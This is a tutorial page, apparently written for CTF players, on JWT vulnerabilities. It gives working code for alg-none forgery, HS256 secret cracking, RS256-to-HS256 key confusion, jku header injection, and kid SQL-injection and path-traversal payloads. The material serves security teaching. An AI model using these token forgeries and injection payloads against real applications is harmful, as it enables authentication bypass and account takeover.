JWT Attacks
Every major JWT vulnerability and how to exploit them in CTF web challenges.
JWT Attacks
JSON Web Tokens (JWTs) are widely used for authentication and session management. When misconfigured, they expose severe vulnerabilities. CTF web challenges frequently feature JWT attacks because they're easy to misconfigure and hard to fix without understanding the underlying cryptography.
JWT Structure
A JWT is three base64url-encoded parts separated by dots:
header.payload.signature
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
.eyJ1c2VyIjoiZ3Vlc3QiLCJhZG1pbiI6ZmFsc2V9
.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5cDecode with:
# Manual base64url decode
echo "eyJ1c2VyIjoiZ3Vlc3QifQ" | base64 -d
# Or use jwt.io (online) / jwt_toolAttack Decision Tree
Capture JWT
Intercept the JWT token from the application.
Decode Header
Decode the JWT header to check the alg (algorithm) parameter.
Algorithm-Specific Attacks
Header alg | Try this |
|---|---|
none | None-algorithm attack (strip or forge signature) |
HS256 | Weak secret brute force; RS256→HS256 confusion if public key is exposed |
RS256 | Key confusion (HMAC with public key); jku / x5u injection if trusted |
Investigate kid header
If a kid header exists, test for SQL injection and path traversal.
Attack 1: Algorithm None (alg: none)
Some libraries accept a token with alg: none and skip signature verification entirely.
import base64, json
def b64url_encode(data):
return base64.urlsafe_b64encode(data).rstrip(b'=').decode()
# Forge a token with admin=true
header = {"alg": "none", "typ": "JWT"}
payload = {"user": "guest", "admin": True, "role": "admin"}
h = b64url_encode(json.dumps(header).encode())
p = b64url_encode(json.dumps(payload).encode())
# Signature is empty (or just a dot)
forged = f"{h}.{p}."
print(forged)Also try: "alg": "None", "alg": "NONE", "alg": "nOnE".
Attack 2: HS256 Secret Brute Force
If the algorithm is HS256, the server uses a shared symmetric secret. If the secret is weak:
# Using jwt_tool
pip3 install jwt_tool
python3 jwt_tool.py <JWT> -C -d /usr/share/wordlists/rockyou.txt
# Using hashcat
hashcat -a 0 -m 16500 <JWT> /usr/share/wordlists/rockyou.txtOnce you find the secret, forge a new token:
import jwt # pip install PyJWT
secret = "password123"
payload = {"user": "admin", "admin": True}
token = jwt.encode(payload, secret, algorithm="HS256")
print(token)Attack 3: RS256 → HS256 Algorithm Confusion
If the server uses RS256 but you can obtain the public key, you can re-sign the token using HS256 with the public key as the HMAC secret - because some libraries use the same verification path.
import jwt, base64
# Get the public key (from /jwks.json endpoint, or leaked)
public_key = open('public.pem', 'rb').read()
payload = {"user": "admin", "admin": True}
# Sign with HS256 using the public key as the secret
forged = jwt.encode(payload, public_key, algorithm="HS256")
print(forged)Attack 4: jku / x5u Header Injection
The jku header tells the verifier where to fetch the signing key. If the server fetches from an attacker-controlled URL:
- Generate your own RSA keypair:
openssl genrsa -out attacker.key 2048
openssl rsa -in attacker.key -pubout -out attacker.pub
openssl req -new -x509 -key attacker.key -out attacker.crt- Host a JWKS at your URL (e.g.
https://your-server.com/jwks.json) - Forge a token with
jku: "https://your-server.com/jwks.json"signed with your private key
Attack 5: kid SQL Injection
The kid (key ID) header selects which key to use for verification. If it's interpolated into a SQL query unsafely:
kid: ' UNION SELECT 'attacker_secret'--Now the verifier uses attacker_secret as the key, and you can sign with it:
kid_payload = "' UNION SELECT 'attacker_secret'-- "
header = {"alg": "HS256", "typ": "JWT", "kid": kid_payload}
payload = {"user": "admin"}
import jwt
token = jwt.encode(payload, "attacker_secret", algorithm="HS256",
headers=header)Attack 6: kid Path Traversal
Some implementations load the key from a filesystem path specified by kid:
kid: ../../dev/nullThen sign the token with an empty string (null file contains nothing):
import jwt
token = jwt.encode({"admin": True}, "", algorithm="HS256",
headers={"kid": "../../dev/null"})Tool: jwt_tool
# Decode and analyze
python3 jwt_tool.py <JWT>
# Try all attacks automatically
python3 jwt_tool.py <JWT> -M at
# Tamper payload (inject claim)
python3 jwt_tool.py <JWT> -T
# Key confusion (RS256 → HS256)
python3 jwt_tool.py <JWT> -X k -pk public.pemend
Last updated on